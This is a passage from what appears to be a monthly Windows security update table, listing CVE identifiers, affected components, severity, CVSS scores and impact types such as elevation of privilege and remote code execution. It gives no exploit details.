WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows 